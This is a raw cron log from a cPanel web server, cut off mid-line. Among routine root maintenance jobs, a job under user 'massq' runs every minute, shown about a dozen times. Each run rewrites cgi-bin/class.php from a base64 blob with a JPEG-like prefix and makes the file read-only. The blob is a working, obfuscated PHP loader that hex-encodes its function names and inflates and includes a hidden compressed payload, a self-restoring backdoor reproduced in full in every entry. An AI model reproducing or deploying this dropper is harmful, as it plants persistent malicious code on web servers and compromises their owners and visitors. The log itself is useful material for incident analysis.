Sep  3 00:55:01 server CROND[13899]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:55:01 server CROND[13900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:55:01 server CROND[13901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:56:01 server CROND[14790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:56:01 server CROND[14791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:56:01 server CROND[14792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:57:01 server CROND[15174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:57:01 server CROND[15175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:57:01 server CROND[15176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:57:01 server CROND[15177]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 00:58:01 server CROND[15604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:58:01 server CROND[15605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:58:01 server CROND[15606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:59:01 server CROND[15970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:59:01 server CROND[15971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:59:01 server CROND[15972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:00:01 server CROND[16412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:00:01 server CROND[16414]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:00:01 server CROND[16416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:00:01 server CROND[16419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:00:01 server CROND[16421]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:00:01 server CROND[16423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:00:01 server CROND[16420]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 01:00:01 server CROND[16424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:00:01 server CROND[16425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:01:01 server CROND[17287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:01:01 server CROND[17289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:01:01 server CROND[17286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:01:01 server CROND[17288]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 01:01:01 server run-parts(/etc/cron.hourly)[17288]: starting 0anacron
Sep  3 01:01:01 server anacron[17308]: Anacron started on 2026-09-03
Sep  3 01:01:01 server anacron[17308]: Normal exit (0 jobs run)
Sep  3 01:01:01 server run-parts(/etc/cron.hourly)[17310]: finished 0anacron
Sep  3 01:02:01 server CROND[17689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:02:01 server CROND[17688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:02:01 server CROND[17690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:03:01 server CROND[18074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:03:01 server CROND[18075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:03:01 server CROND[18076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:04:01 server CROND[18446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:04:01 server CROND[18447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:04:01 server CROND[18448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:05:01 server CROND[18881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:05:02 server CROND[18883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:05:02 server CROND[18887]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 01:05:02 server CROND[18886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:05:02 server CROND[18885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:05:02 server CROND[18890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:05:02 server CROND[18888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:05:02 server CROND[18889]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:06:01 server CROND[19828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:06:01 server CROND[19829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:06:01 server CROND[19830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 